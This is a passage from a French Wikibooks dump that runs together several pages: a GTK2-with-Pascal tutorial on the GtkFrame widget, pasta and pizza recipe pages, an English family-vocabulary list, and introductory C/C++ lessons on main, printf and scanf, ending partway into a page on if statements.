afin de définir la zone. Il est classé par différents auteurs dans les contrôles décoratifs, mais il pourrait également être dans les conteneurs. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkFrame|GtkFrame]] |} == Utilisation de base == === Création === Le contrôle <code>GtkFrame</code> étant très simple, il n'y a qu'une seule fonction de création : function gtk_frame_new(_label : Pgchar) : PGtkWidget; Le paramètre <code>_label</code> est tout simplement le texte qui sera affiché en haut à gauche du cadre (position par défaut). === Modification du texte === Il peut arriver que dans votre application, le texte du cadre nécessite une modification. Bien entendu, le contrôle <code>GtkFrame</code> est fourni avec toutes les fonctions nécessaires : procedure gtk_frame_set_label(frame : PGtkFrame; _label : Pgchar); Le paramètre <code>frame</code> est le contrôle <code>GtkFrame</code> dont nous voulons modifier le texte, et <code>_label</code> est le nouveau texte à inscrire. Cette fois encore, il faut utiliser une fonction de conversion pour le premier paramètre qui est cette fois GTK_FRAME. Pour récupérer le texte du cadre, la fonction est : function gtk_frame_get_label(frame : PGtkFrame) : Pgchar; === Remplacer le texte par un contrôle === Les cadres offrent aussi la possibilité de remplacer le texte par un contrôle quelconque ([[Programmation GTK2 en Pascal - GtkImage|GtkImage]], [[Programmation GTK2 en Pascal - GtkStockItem|GtkStockItem]], etc.) grâce à cette fonction : procedure gtk_frame_set_label_widget(frame : PGtkFrame; label_widget : PGtkWidget); Et comme toujours, la fonction permettant de récupérer le contrôle affiché: function gtk_frame_get_label_widget(frame : PGtkFrame) : PGtkWidget; === Position du texte === Par défaut, la position du texte est en haut à gauche du cadre, centré en hauteur par rapport à la ligne supérieure. Cela peut-être modifié avec cette fonction : procedure gtk_frame_set_label_align(frame : PGtkFrame; xalign : gfloat; yalign : gfloat); Les valeurs <code>xalign</code> et <code>yalign</code> doivent être comprises entre 0.0 et 1.0. Le paramètre <code>xalign</code> définit la position horizontale du texte. Une valeur de 0.0 positionne le texte à gauche du cadre, tandis qu'une valeur de 1.0 le positionne à droite. Évidemment, une valeur de 0.5 centrera le texte. Quant à <code>yalign</code>, il permet de définir la position verticale du texte par rapport à la ligne supérieure du cadre. Une valeur de 0.0 mettra le nom en dessous de la ligne et une valeur de 1.0 le mettra au-dessus de la ligne. On peut, bien sûr, connaître les valeurs de positionnement avec les fonctions suivantes : procedure gtk_frame_get_label_align(frame : PGtkFrame; xalign : Pgfloat; yalign : Pgfloat); === Style du cadre === Le style du cadre est donné par la configuration visuelle de ses lignes et plus précisément de l'ombre des lignes. Cette modification de fait avec cette fonction : procedure gtk_frame_set_shadow_type(frame : PGtkFrame; _type : TGtkShadowType); Le paramètre type peut prendre cinq valeurs différentes : * GTK_SHADOW_NONE : pas d'ombre * GTK_SHADOW_IN : les lignes sont biseautées à l'intérieur, comme un champ de saisie * GTK_SHADOW_OUT : les lignes sont biseautées à l'extérieur, comme un bouton * GTK_SHADOW_ETCHED_IN : les lignes paraissent creusées (valeur par défaut) * GTK_SHADOW_ETCHED_OUT : les lignes paraissent en relief == Programme exemple == Nous allons créer un programme très simple avec trois cadres différents. Voilà le fichier <code>gtk039.pas</code> : program gtk039; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBouton : PGtkWidget; pChampSaisie : PGtkWidget; pLabel : PGtkWidget; pCadre : array[1..3] of PGtkWidget; pHBox : array[1..3] of PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk039 : Cadres'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(TRUE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création des cadres, des contrôles à mettre dedans, etc. pCadre[1] := gtk_frame_new('Un GtkLabel'); pLabel := gtk_label_new('Le label'); gtk_container_add(GTK_CONTAINER(pCadre[1]), pLabel); gtk_box_pack_start(GTK_BOX(pVBox), pCadre[1], FALSE, FALSE, 0); pCadre[2] := gtk_frame_new('Un GtkButton'); pBouton := gtk_button_new_with_label('Le bouton'); pHBox[2] := gtk_hbox_new(TRUE, 5); gtk_box_pack_start(GTK_BOX(pHBox[2]), pBouton, TRUE, FALSE, 5); gtk_container_add(GTK_CONTAINER(pCadre[2]), pHBox[2]); gtk_box_pack_start(GTK_BOX(pVBox), pCadre[2], FALSE, FALSE, 0); gtk_frame_set_shadow_type(GTK_FRAME(pCadre[2]), GTK_SHADOW_IN); pCadre[3] := gtk_frame_new('Une GtkEntry'); pChampSaisie := gtk_entry_new; pHBox[3] := gtk_hbox_new(TRUE, 5); gtk_box_pack_start(GTK_BOX(pHBox[3]), pChampSaisie, TRUE, FALSE, 5); gtk_container_add(GTK_CONTAINER(pCadre[3]), pHBox[3]); gtk_box_pack_start(GTK_BOX(pVBox), pCadre[3], TRUE, FALSE, 5); gtk_frame_set_shadow_type(GTK_FRAME(pCadre[3]), GTK_SHADOW_ETCHED_OUT); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk039</code> : [[Image:Programmation GTK2 en Pascal - gtk039.png]] {{Programmation GTK2 en Pascal - Décoration}} [[Catégorie:Programmation GTK2 en Pascal|GtkFrame]] Modèle:Programmation GTK2 en Pascal - Décoration 2922 14473 2005-03-20T17:10:38Z Didier 186 {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Décorations : [[Programmation GTK2 en Pascal - GtkFrame|GtkFrame]] ~ [[Programmation GTK2 en Pascal - GtkHSeparator|GtkHSeparator]] ~ [[Programmation GTK2 en Pascal - GtkVSeparator|GtkVSeparator]] |} Cuisine:Recettes de pâtes 2923 39436 2006-04-01T21:10:51Z Greudin 1 +intro !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Voici quelques '''recettes de pâtes'''. # Macaroni aux épinards et à la ricotta # Spaghettis à la bolognaise # Spaghetti au jambon de Parme # Spaghetti à l’amatriciana # Spaghettis aux champignons # [[Cuisine:Pâtes à la flammenkuche|Pâtes à la flammenkuche]] # Pâtes à la béchamel # [[Cuisine:Pâtes à la carbonara|Pâtes à la carbonara]] # Pâtes aux pommes de terre # Pâtes au gorgonzola # Fettucine aux poivrons # [[Cuisine:Pâtes_au_saumon_fumé|Pâtes au saumon fumé]] # Lasagnes aux épinards et à la sauce tomate # Lasagnes à la bolognaise # Rouleaux de lasagnes à la ricotta et aux jambon # Cannellloni farcis aux légumes # Gratin de pâtes aux champignons, thon # Conchiglionne aux épinards et à la ricotta # Oreillettes à la tomate et à la ricotta # [[Cuisine:Penne arrabbiata|Penne arrabbiata]] # [[Cuisine:Torti aux crevettes et à la feta|Torti aux crevettes et à la feta]] == 3 Spaghetti au Jambon de Parme == ==== Ingrédients (pour 4 personnes)==== * 400g de spaghettis * 4 tranches de jambon de Parme * 2 tranches de jambon blanc * 4 petits oignons * 100g de parmesan * huile d'olive ==== Matériel ==== * une grande poêle avec un revêtement anti-adhésif. * une casserole ==== Préparation ==== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% valign=top| <br /><center>Couper les oignons et les faire roussir avec l'huile d'olive.</center> | [[Image:Cuisson des pates.jpg|center|200px]] <br /><center>Dans une casseroles d'eau bouillante, faire cuire les spaghettis.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top|[[Image:Preparation spaghetti jambon Parme.JPG|200px|center]]<br /><center>Couper en dés le jambon blanc et l'ajouter aux oignons. Laisser cuire pendant cinq minutes.</center> | [[Image:Spaghetti au jambon de Parme.JPG|200px|center]]<br /><center>Ajouter les pâtes et le parmesan en copeaux. Mélanger, couvrir des tranches de jambon de Parme. Posez un couvercle et laisser cinq minutes à feu éteint. Servir.</center> |} == 4 Pâtes à l'amatriciana == === Ingrédients (pour 4 personnes)=== *400g de pâtes *1 oignon moyen *150g de lard maigre fumé *4 cuillères à soupe d'huile d'olive *300g de purée de tomates *100g de parmesan rapé === Préparation === #Couper le lard en lanières. #Hacher l'oignon et le faire roussir avec l'huile d'olive. Ajouter la purée de tomates. À ébullition, ajouter les lardons qui ne doivent pas dorer. Laisser cuire doucement au moins 30 minutes. #Faire cuire les spaghettis al dente, les égoutter et les mélanger à la sauce. #Servir accompagné de parmesan rapé. [[Image:Preparation amatriciana.jpg|200px]] == 14 Lasagnes à la bolognaise == <br /> ==Voir aussi== ===[[Cuisine:Recettes végétaliennes|Recettes végétaliennes]]=== * [[Cuisine:Pâtes aux champignons|Pâtes aux champignons]] * [[Cuisine:Pâtes aux champignons et aux herbes|Pâtes aux champignons et aux herbes]] * [[Cuisine:Pâtes aux poivrons|Pâtes aux poivrons]] * [[Cuisine:Pâtes aux tomates et épinards|Pâtes aux tomates et épinards]] * [[Cuisine:Pâtes aux arachides et légumes rôtis|Pâtes aux arachides et légumes rôtis]] * [[Cuisine:Nouilles fraîches|Nouilles fraîches]] * [[Cuisine:Nouilles au Sarrasin|Nouilles au Sarrasin]] * [[Cuisine:Lasagnes au tofu|Lasagnes au tofu]] {{Cuisine}} Livre de Cuisine/Tartes et pizzas 2924 46292 2006-06-28T11:16:00Z Nicombo 684 [[Catégorie:Cuisine|Tartes et pizzas]] [[Catégorie:Tartes et pizzas|Tartes et pizzas]] {| {{prettytable}} ! Recette !! Photo !! Temps de préparation/cuisson !! Difficulté |- |colspan="4" bgcolor="#C0D9D9"|'''Tartes''' |- | <big>[[/Tarte au beaufort/]] <big>|| || || |- | <big>[[/Tarte au chèvre/]]</big>|| [[Image:Tarte au chèvre.JPG|100px]] || || [[Image:2v5.gif]] |- | <big>[[/Tarte aux courgettes/]] </big>|| [[Image:Tarte aux courgettes.JPG|100px]] || || [[Image:2v5.gif]] |- | <big>[[/Tarte au saumon et aux épinards/]] <big>|| || Préparation : 15 min, cuisson : 25 min || [[Image:2v5.gif]] |- | <big>[[/Tarte aux tomates et au gouda/]]</big>|| || || |- | <big>[[/Tarte au Maroilles/]] </big>|| [[Image:Tartemaroillesapcuisson.jpg|100px]] || Préparation : 10 min, cuisson : 15-20 min || [[Image:2v5.gif]] |- | <big>[[/Tarte aux fromages/]]</big>|| || || |- | <big>[[/Tarte landaise/]] </big> || [[Image:Tarte landaise.jpg|100px]] ||Préparation : 20 min, cuisson : 15 min || [[Image:2v5.gif]] |- |colspan="4" bgcolor="#C0D9D9"|'''Pizzas''' |- | <big>[[/Pizza Margherita/]] <big>|| || || |- | <big>[[/Pizza au chèvre et aux lardons/]] </big> || [[Image:Pizza au chevre.JPG|100px]] || Préparation : 20 min, cuisson : 15 min || [[Image:2v5.gif]] |- | <big>[[/Pizza au thon/]] </big> || [[Image:Pizza au thon.JPG|100px]] || Préparation 20 min, cuisson 15 min || [[Image:2v5.gif]] |- | <big>[[/Pizza à la pancetta/]] || [[Image:Pizza à la pancetta.JPG|100px]] || Préparation 20 min, cuisson 15 min || [[Image:2v5.gif]] |- | <big>[[Livre de Cuisine/Pizzas végétaliennes|Pizzas végétaliennes]] || || || |- | <big>[[/Pizza aux poivrons/]] ||[[Image:Pizza aux poivrons.JPG|100px]] || Préparation : 25 min, cuisson : 15 min|| [[Image:2v5.gif]] |- | <big>[[/Pizza aux quatre fromages/]] ||[[Image:Pizza_quatre_fromages.jpg|100px]] || Préparation : 20 min, cuisson : 15 min|| [[Image:2v5.gif]] |- | <big>[[/Pizza campagnarde/]] || [[Image:Pizza campagnarde.jpg|100px]] || Préparation : 15 min, cuisson : 15 min || [[Image:2v5.gif]] |- | <big>[[/Pizza aux moules/]] || [[Image:Pizza aux moules.jpg|100px]] || Préparation : 20 min, cuisson 15 min || [[Image:3v5.gif]] |- |<big>[[/Pizza au fromage gorgonzola/]]</big>|| || || |} Alphabet bambara 2925 14476 2005-03-20T17:47:56Z Guaka 165 Alphabet bambara déplacé vers Alphabet (bambara) #REDIRECT [[Alphabet (bambara)]] Programmation C C plus plus La fonction main 2927 14477 2005-03-21T14:22:03Z Kiouk 197 {{Programmation C C plus plus Première approche}} ==La fonction main== Lorsqu'un programme est chargé, son exécution commence par l'appel d'une fonction spéciale du programme. Cette fonction doit impérativement s'appeler « main » (principal en anglais) pour que le compilateur puisse savoir que c'est cette fonction qui marque le début du programme. La fonction main est appelée par le système d'exploitation, elle ne peut pas être appelée par le programme, c'est-à-dire qu'elle ne peut pas être récursive. ===Exemple - Programme minimal=== <pre> int main() /* Plus petit programme C/C++. */ { return 0; } </pre> La fonction main doit renvoyer un code d'erreur d'exécution du programme, le type de ce code est int. Elle peut aussi recevoir des paramètres du système d'exploitation. Ceci sera expliqué plus loin. Pour l'instant, on se contentera d'une fonction main ne prenant pas de paramètre. Note : Il est spécifié dans la norme du C++ que la fonction main ne doit pas renvoyer le type void. En pratique cependant, beaucoup de compilateurs l'acceptent également. La valeur 0 retournée par la fonction main indique que tout s'est déroulé correctement. En réalité, la valeur du code de retour peut être interprétée différemment selon le système d'exploitation utilisé. La bibliothèque C définit donc les constantes <code>EXIT_SUCCESS</code> et <code>EXIT_FAILURE</code>, qui permettent de supprimer l'hypothèse sur la valeur à utiliser respectivement en cas de succès et en cas d'erreur. Anglais : The family, la famille 2928 28324 2006-01-06T06:55:59Z 65.92.26.6 the parents : ''les parents''<br />the mother : ''la mère''<br />the father : ''le père''<br />the sister : ''la soeur''<br />the brother : ''le frère''<br />the grandparents : ''les grands-parents''<br />the grandmother : ''la grand-mère''<br />the grandfather : ''le grand-père'' <br />the godfather : ''le parrain''<br />the godmother : ''la marraine''<br />the godson : ''le filleul''<br />the goddaughter : ''la filleule'' the oncle : ''l'oncle''<br />the aunt : ''la tante''<br />the nephew : ''le neveu''<br />the niece : ''la nièce'' the step-father : ''le beau-père'' (dans un autre mariage)<br />the step-mother : ''la belle-mère''<br />the half-brother : ''le demi-frère''<br />the half-sister : ''la demi-soeur'' Retour [[Enseignement de l'anglais]] Programmation C C plus plus Entrée / sortie de base 2929 14479 2005-03-21T21:10:46Z Kiouk 197 {{Programmation C C plus plus Première approche}} == Les fonctions d'entrée / sortie de base == Nous avons distingué au début de ce chapitre les programmes graphiques, qui traitent les événements qu'ils reçoivent du système sous la forme de messages, des autres programmes, qui reçoivent les données à traiter et écrivent leurs résultats sur les flux d'entrée / sortie standards. Les notions de flux d'entrée / sortie standards n'ont pas été définies plus en détail à ce moment, et il est temps à présent de pallier cette lacune. === Généralités sur les flux d'entrée / sortie en C === Un ''flux'' est une notion informatique qui permet de représenter un flot de données séquentielles en provenance d'une source de données ou à destination d'une autre partie du système. Les flux sont utilisés pour uniformiser la manière dont les programmes travaillent avec les données, et donc pour simplifier leur programmation. Les fichiers constituent un bon exemple de flux, mais ce n'est pas le seul type de flux existant : on peut traiter un flux de données provenant d'un réseau, d'un tampon mémoire ou de toute autre source de données ou partie du système permettant de traiter les données séquentiellement. Sur quasiment tous les systèmes d'exploitation, les programmes disposent dès leur lancement de trois flux d'entrée / sortie standards. Généralement, le flux d'entrée standard est associé au flux de données provenant d'un terminal, et le flux de sortie standard à la console de ce terminal. Ainsi, les données que l'utilisateur saisit au clavier peuvent être lues par les programmes sur leur flux d'entrée standard, et ils peuvent afficher leurs résultats à l'écran en écrivant simplement sur leur flux de sortie standard. Le troisième flux standard est le flux d'erreur standard qui, par défaut, est également associé à l'écran, et sur lequel le programme peut écrire tous les messages d'erreur qu'il désire. Note : La plupart des systèmes permettent de rediriger les flux standards des programmes afin de les faire travailler sur des données provenant d'une autre source de données que le clavier, ou, par exemple, de leur faire enregistrer leurs résultats dans un fichier. Il est même courant de réaliser des « pipelines » de programmes, où les résultats de l'un sont envoyés dans le flux d'entrée standard de l'autre, et ainsi de suite. Ces suites de programmes sont également appelés des ''tubes'' en français. La manière de réaliser les redirections des flux standards dépend des systèmes d'exploitation et de leurs interfaces utilisateurs. De plus, les programmes doivent être capables de travailler avec leurs flux d'entrée / sortie standards de manière générique, que ceux-ci soient redirigés ou non. Les techniques de redirection ne seront donc pas décrites plus en détail ici. Vous remarquerez l'intérêt d'avoir deux flux distincts pour les résultats des programmes et leurs messages d'erreur. Si, lors d'une utilisation normale, ces deux flux se mélangent à l'écran, ce n'est pas le cas lorsque l'on redirige le flux de sortie standard. Seul le flux d'erreur standard est affiché à l'écran dans ce cas, et les messages d'erreur ne se mélangent donc pas aux résultats du programme. On pourrait penser que les programmes graphiques ne disposent pas de flux d'entrée / sortie standards. Pourtant, c'est généralement le cas. Les événements traités par les programmes graphiques dans leur boucle de messages ne proviennent généralement pas du flux d'entrée standard, mais d'une autre source de données spécifique à chaque système. En conséquence, les programmes graphiques peuvent toujours utiliser les flux d'entrée / sortie standard si cela s'avère nécessaire. Afin de permettre aux programmes d'écrire sur leurs flux d'entrée / sortie standards, la bibliothèque C définit plusieurs fonctions extrêmement utiles. Les deux principales fonctions sont sans doute les fonctions <code>printf</code> et <code>scanf</code>. La fonction <code>printf</code> (« print formatted » en anglais) permet d'afficher des données à l'écran, et <code>scanf</code> (« scan formatted ») permet de les lire à partir du clavier. En réalité, ces fonctions ne font rien d'autre que d'appeler deux autres fonctions permettant d'écrire et de lire des données sur un fichier : les fonctions <code>fprintf</code> et <code>fscanf</code>. Ces fonctions s'utilisent exactement de la même manière que les fonctions <code>printf</code> et <code>scanf</code>, à ceci près qu'elles prennent en premier paramètre une structure décrivant le fichier sur lequel elles travaillent. Pour les flux d'entrée / sortie standards, la bibliothèque C définit les pseudo-fichiers ''stdin'', ''stdout'' et ''stderr'', qui correspondent respectivement aux flux d'entrée, au flux de sortie et au flux d'erreur standards. Ainsi, tout appel à <code>scanf</code> se traduit par un appel à <code>fscanf</code> sur le pseudo-fichier ''stdin'', et tout appel à <code>printf</code> par un appel à <code>fprintf</code> sur le pseudo-fichier ''stdout''. Note : Il n'existe pas de fonction permettant d'écrire directement sur le flux d'erreur standard. Par conséquent, pour effectuer de telles écritures, il faut impérativement passer par la fonction <code>fprintf</code>, en lui fournissant en paramètre le pseudo-fichier ''stderr''. La description des fonctions de la bibliothèque C standard dépasse de loin le cadre de ce cours. Aussi les fonctions de lecture et d'écriture sur les fichiers ne seront-elles pas décrites plus en détail ici. Seules les fonctions <code>printf</code> et <code>scanf</code> seront présentées, car elles sont réellement indispensable pour l'écriture d'un programme C. Consultez la bibliographie si vous désirez obtenir plus de détails sur la bibliothèque C et sur toutes les fonctions qu'elle contient. Le C++ dispose également de mécanismes de gestion des flux d'entrée / sortie qui lui sont propres. Ces mécanismes permettent de contrôler plus finement les types des données écrites et lues de et à partir des flux d'entrée / sortie standards. De plus, ils permettent de réaliser les opérations d'écriture et de lecture des données formatées de manière beaucoup plus simple. Cependant, ces mécanismes requièrent des notions objets avancées et ne seront décrits que dans les chapitres dédiés au C++. Comme il est également possible d'utiliser les fonctions <code>printf</code> et <code>scanf</code> en C++ d'une part, et que, d'autre part, ces fonctions sont essentielles en C, la suite de cette section s'attachera à leur description. Un chapitre complet est dédié aux mécanismes de gestion des flux du C++ dans la deuxième partie de ce document. Les fonctions <code>printf</code> et <code>scanf</code> sont toutes deux des fonctions à nombre de paramètres variables. Elles peuvent donc être utilisées pour effectuer des écritures et des lectures multiples en un seul appel. Afin de leur permettre de déterminer la nature des données passées dans les arguments variables, elles attendent toutes les deux en premier paramètre une chaîne de caractères descriptive des arguments suivants. Cette chaîne est appelée ''chaîne de format'', et elle permet de spécifier avec précision le type, la position et les options de format (précision, etc.) des données à traiter. Les deux sections suivantes décrivent la manière d'utiliser ces chaînes de format pour chacune des deux fonctions <code>printf</code> et <code>scanf</code>. === La fonction printf === La fonction <code>printf</code> s'emploie comme suit : <pre> printf(chaîne de format [, valeur [, valeur [...]]]) </pre> On peut passer autant de valeurs que l'on veut, pour peu qu'elles soient toutes référencées dans la chaîne de format. Elle renvoie le nombre de caractères affichés. La chaîne de format peut contenir du texte, mais surtout elle doit contenir autant de ''formateurs'' que de variables à afficher. Si ce n'est pas le cas, le programme plantera. Les formateurs sont placés dans le texte là où les valeurs des variables doivent être affichées. La syntaxe des formateurs est la suivante : <pre> %[[indicateur]...][largeur][.précision][taille] type </pre> Un formateur commence donc toujours par le caractère %. Pour afficher ce caractère sans faire un formateur, il faut le dédoubler (%%). Le ''type'' de la variable à afficher est obligatoire lui aussi. Les types utilisables sont les suivants : {| border=1 |+Types pour les chaînes de format de printf ! !Type de donnée à afficher !Caractère de formatage |---- |Numériques |Entier décimal signé |d |---- | |Entier décimal non signé |u ou i |---- | |Entier octal non signé |o |---- | |Entier hexadécimal non signé |x (avec les caractères 'a' à 'f') ou X (avec les caractères 'A' à 'F') |---- | |Flottants de type double |f, e, g, E ou G |---- |Caractères |Caractère isolé |c |---- | |Chaîne de caractères |s |---- |Pointeurs |Pointeur |p |} Note : Voir le Chapitre 4 pour plus de détails sur les pointeurs. Le format des pointeurs dépend de la machine. Les valeurs flottantes infinies sont remplacées par les mentions ''+INF'' et ''-INF''. Un non-nombre IEEE (Not-A-Number) donne ''+NAN'' ou ''-NAN''. Notez que le standard C ne permet de formater que des valeurs de type double. Les valeurs flottantes de type float devront donc être convertie en double avant affichage. Les autres paramètres sont facultatifs. Les valeurs disponibles pour le paramètre de ''taille'' sont les caractères suivants : {| border=1 |+Options pour les types des chaînes de format !Option !Type utilisable !Taille du type |---- |F |Pointeur |Pointeur FAR (DOS uniquement) |---- |N |Pointeur |Pointeur NEAR (DOS uniquement) |---- |h |Entier |short int |---- |l |Entier, caractère ou chaîne de caractères |long int ou wchar_t |---- |L |Flottant |long double |} === Exemple - Utilisation de printf et fprintf === <pre> #include <stdio.h> /* Ne pas chercher à comprendre cette ligne pour l'instant. Elle est nécessaire pour utiliser les fonctions printf et scanf. */ int main(void) { int i = 2; printf("Voici la valeur de i : %d.\n", i); /* Exemple d'écriture sur la sortie d'erreur standard : */ fprintf(stderr, "Pas d'erreur jusqu'ici...\n"); return 0; } </pre> Vous remarquerez dans cet exemple la présence d'une ligne ''#include <stdio.h>''. Cette ligne est nécessaire pour permettre l'utilisation des fonctions <code>printf</code> et <code>fprintf</code>. Nous décrirons sa signification précise ultérieurement dans le chapitre sur le préprocesseur. Sans entrer dans les détails, disons simplement que cette ligne permet d'inclure un fichier contenant les déclarations de toutes les fonctions d'entrée / sortie de base. Les paramètres ''indicateurs'', ''largeur'' et ''précision'' sont moins utilisés. Il peut y avoir plusieurs paramètres indicateurs, ils permettent de modifier l'apparence de la sortie. Les principales options sont : * '-' : justification à gauche de la sortie, avec remplissage à droite par des 0 ou des espaces ; * '+' : affichage du signe pour les nombres positifs ; * espace : les nombres positifs commencent tous par un espace. Le paramètre ''largeur'' permet de spécifier la largeur minimale du champ de sortie, si la sortie est trop petite, on complète avec des 0 ou des espaces. Notez qu'il s'agit bien d'une largeur minimale ici et non d'une largeur maximale. Le résultat du formatage de la donnée à écrire peut donc dépasser la valeur indiquée pour la largeur du champ. Enfin, le paramètre ''précision'' spécifie la précision maximale de la sortie (nombre de chiffres à afficher). === La fonction scanf === La fonction scanf permet de faire une ou plusieurs entrées. Comme la fonction <code>printf</code>, elle attend une chaîne de format en premier paramètre. Il faut ensuite passer les variables devant contenir les entrées dans les paramètres qui suivent. Sa syntaxe est la suivante : <pre> scanf(chaîne de format, &variable [, &variable [...]]); </pre> Elle renvoie le nombre de variables lues. Ne cherchez pas à comprendre pour l'instant la signification du symbole & se trouvant devant chacune des variables. Sachez seulement que s'il est oublié, le programme plantera. La chaîne de format peut contenir des chaînes de caractères. Toutefois, si elle contient autre chose que des formateurs, le texte saisi par l'utilisateur devra correspondre impérativement avec les chaînes de caractères indiquées dans la chaîne de format. <code>scanf</code> cherchera à reconnaître ces chaînes, et arrêtera l'analyse à la première erreur. La syntaxe des formateurs pour <code>scanf</code> diffère un peu de celle de ceux de <code>printf</code> : <pre> %[*][largeur][taille]type </pre> Seul le paramètre ''largeur'' change par rapport à <code>printf</code>. Il permet de spécifier le nombre maximal de caractères à prendre en compte lors de l'analyse du paramètre. Le paramètre '*' est facultatif, il indique seulement de passer la donnée entrée et de ne pas la stocker dans la variable destination. Cette variable doit quand même être présente dans la liste des paramètres de <code>scanf</code>. Note : Tout comme pour les fonctions <code>printf</code> et <code>fprintf</code>, il est nécessaire d'ajouter la ligne ''#include <stdio.h>'' en début de fichier pour pouvoir utiliser la fonction <code>scanf</code>. La signification de cette ligne sera donnée dans le chapitre traitant du préprocesseur. En pratique, la fonction <code>scanf</code> n'analyse les caractères provenant du flux d'entrée que lorsqu'une ligne complète a été saisie. Toutefois, elle ne supprime pas du tampon de flux d'entrée le caractère de saut de ligne, si bien qu'il s'y trouvera toujours lors de l'entrée suivante. Cela n'est pas gênant si l'on n'utilise que la fonction <code>scanf</code> pour réaliser les entrées de données dans le programme, car cette fonction ignore tout simplement ces caractères de saut de ligne. En revanche, si l'on utilise une autre fonction après un appel à <code>scanf</code>, il faut s'attendre à trouver ce caractère de saut de ligne dans le flux d'entrée. La fonction <code>scanf</code> n'est pas très adaptée à la lecture des chaînes de caractères, car il n'est pas facile de contrôler la taille maximale que l'utilisateur peut saisir. C'est pour cette raison que l'on a généralement recours à la fonction <code>fgets</code>, qui permet de lire une ligne sur le flux d'entrée standard et de stocker le résultat dans une chaîne de caractères fournie en premier paramètre et dont la longueur maximale est spécifiée en deuxième paramètre. Le troisième paramètre de la fonction <code>fgets</code> est le flux à partir duquel la lecture de la ligne doit être réalisée, c'est à dire généralement ''stdin''. L'analyse de la chaîne de caractères ainsi lue peut alors être faite avec une fonction similaire à la fonction <code>scanf</code>, mais qui lit les caractères à analyser dans une chaîne de caractères au lieu de les lire directement depuis le flux d'entrée standard : la fonction <code>sscanf</code>. Cette fonction s'utilise exactement comme la fonction <code>scanf</code>, à ceci près qu'il faut lui fournir en premier paramètre la chaîne de caractères dans laquelle se trouvent les données à interpréter. La description de ces deux fonctions dépasse le cadre de ce document et ne sera donc pas faite ici. Veuillez vous référer à la documentation de votre environnement de développement ou à la bibliographie pour plus de détails à leur sujet. Programmation C C plus plus Exemple de programme 2930 14480 2005-03-21T21:09:30Z Kiouk 197 /* Exemple de programme complet */ {{Programmation C C plus plus Première approche}} == Exemple de programme complet == Le programme suivant est donné à titre d'exemple. Il calcule la moyenne de deux nombres entrés au clavier et l'affiche : === Exemple - Programme complet simple === <pre> #include <stdio.h> /* Autorise l'emploi de printf et de scanf. */ long double x, y; int main(void) { printf("Calcul de moyenne\n"); /* Affiche le titre. */ printf("Entrez le premier nombre : "); scanf("%Lf", &x); /* Entre le premier nombre. */ printf("\nEntrez le deuxième nombre : "); scanf("%Lf", &y); /* Entre le deuxième nombre. */ printf("\nLa valeur moyenne de %Lf et de %Lf est %Lf.\n", x, y, (x+y)/2); return 0; } </pre> Dans cet exemple, les chaînes de format spécifient des flottants (f) en quadruple précision (L). Modèle:Programmation C C plus plus Les structures de contrôle 2931 14481 2005-03-22T12:23:22Z Kiouk 197 Création {{En cours de copie|site=http://casteyde.christian.free.fr/online/cours_cpp/|licence=[[GFDL]]}} {| style="float:right;border:thin black solid;width:200px;" | colspan="2" style="text-align:center;font-weight:bold;" | Cours de C/C++ |- | colspan="2" style="text-align:center;"| [[Programmation C C plus plus Le langage|^]] |- | colspan="2" | [[Programmation C C plus plus Les structures de contrôle|Les structures de contrôle]] |- | style="width:20px;" | || [[Programmation C C plus plus La structure if|La structure if]] |- | style="width:20px;" | || [[Programmation C C plus plus La boucle for|La boucle for]] |- | style="width:20px;" | || [[Programmation C C plus plus Le while|Le while]] |- | style="width:20px;" | || [[Programmation C C plus plus Le do|Le do]] |- | style="width:20px;" | || [[Programmation C C plus plus Branchement conditionnel|Branchement conditionnel]] |- | style="width:20px;" | || [[Programmation C C plus plus Le saut|Le saut]] |- | style="width:20px;" | || [[Programmation C C plus plus Rupture de séquence|Rupture de séquence]] |- | colspan="2" style="text-align:right;" | [http://casteyde.christian.free.fr/online/cours_cpp/book1.html Livre original de C. Casteyde] |} Programmation C C plus plus Les structures de contrôle 2932 14482 2005-03-22T12:25:22Z Kiouk 197 Import {{Programmation C C plus plus Les structures de contrôle}} Nous allons aborder dans ce chapitre un autre aspect du langage indispensable à la programmation, à savoir : les structures de contrôle. Ces structures permettent, comme leur nom l'indique, de contrôler l'exécution du programme en fonction de critères particuliers. Le C et le C++ disposent de toutes les structures de contrôle classiques des langages de programmation comme les tests, les boucles, les sauts, etc. Toutes ces structures sont décrites dans les sections suivantes. Programmation C C plus plus La structure if 2933 14483 2005-03-22T12:36:55Z Kiouk 197 Import {{Programmation C C plus plus Les structures de contrôle}} == La structure conditionnelle if == La structure conditionnelle ''if'' permet de réaliser un test et d'exécuter une instruction ou non selon le résultat de ce test. Sa syntaxe est la suivante : <pre> if (test) opération; </pre> où ''test'' est une expression dont la valeur est booléenne ou entière. Toute valeur non nulle est considérée comme vraie. Si le test est vrai, ''opération'' est exécuté. Ce peut être une instruction ou un bloc d'instructions. Une variante permet de spécifier l'action à exécuter en cas de test faux : <pre> 